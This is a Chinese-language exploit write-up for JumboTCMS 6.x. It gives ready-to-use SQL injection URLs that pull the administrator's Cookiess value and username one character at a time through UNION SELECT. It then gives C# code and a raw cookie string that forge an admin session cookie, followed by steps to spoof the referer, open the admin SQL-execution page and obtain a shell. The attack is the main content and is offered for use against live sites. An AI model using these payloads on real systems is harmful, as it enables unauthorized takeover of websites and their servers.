Jumbotcms 6.x 通过注射by pass 后台权限认证

Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。 这次出现的问题主要是新改的权限认证方面和注射 通过注射,获得cookiess字段,再伪造cookie绕过后台认证 Q1 为什么不查密码? 密码没用,不能解码 Q2 为什么不直接update数据库? 限制了分号。 注射步骤: 获得Cookiess字段 http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 Cookiess FROM jcms_normal_user where AdminState=1 获得用户名(MSSQL的substring下表是从1开始的) http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,1,1)) FROM jcms_normal_user where AdminState=1 http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,2,1)) FROM jcms_normal_user where AdminState=1 注意:这里的cType=paper是模块名称,当前能试用这个注射的只有三种模块paper、soft、document。某些二次开发的站点可能删掉了soft,不过document或者paper基本都应该存在吧。测试的时候如果不好使,可以换一个模块试试 权限绕过步骤: 1 首先获取cookie中的版本号,随便访问页面即可获得。再到浏览器地址栏输入javascript:alert(document.cookie) 2 加入cookie的名称为:版本号admin 然后为先建的cookie中加多个子集 id=用户id name=用户名 cookiess=cookiess(从上方获得的cookiess是数字,前面必须加一个小写的c,比如c59268931) exp code: [php] HttpCookie hc = new HttpCookie("jcmsV6.8.0.0801admin"); hc.Values.Add("id", "1"); hc.Values.Add("name", "123"); hc.Values.Add("cookiess", "c59268931"); hc.Domain = "localhost"; //这里写上需要测试网站的域 Response.Cookies.Add(hc);[/php] http头的cookie例子: jcmsV6.8.0.0801admin=id=1&name=123&cookiess=c59268931 3 伪造referer 4 访问:/admin/executesql_default.aspx 试试 或者直接访问 /admin/ 5 getshell 方法比较多,毕竟后台有那么多功能,比如exec sql ps.利用方法真蛋疼

发表评论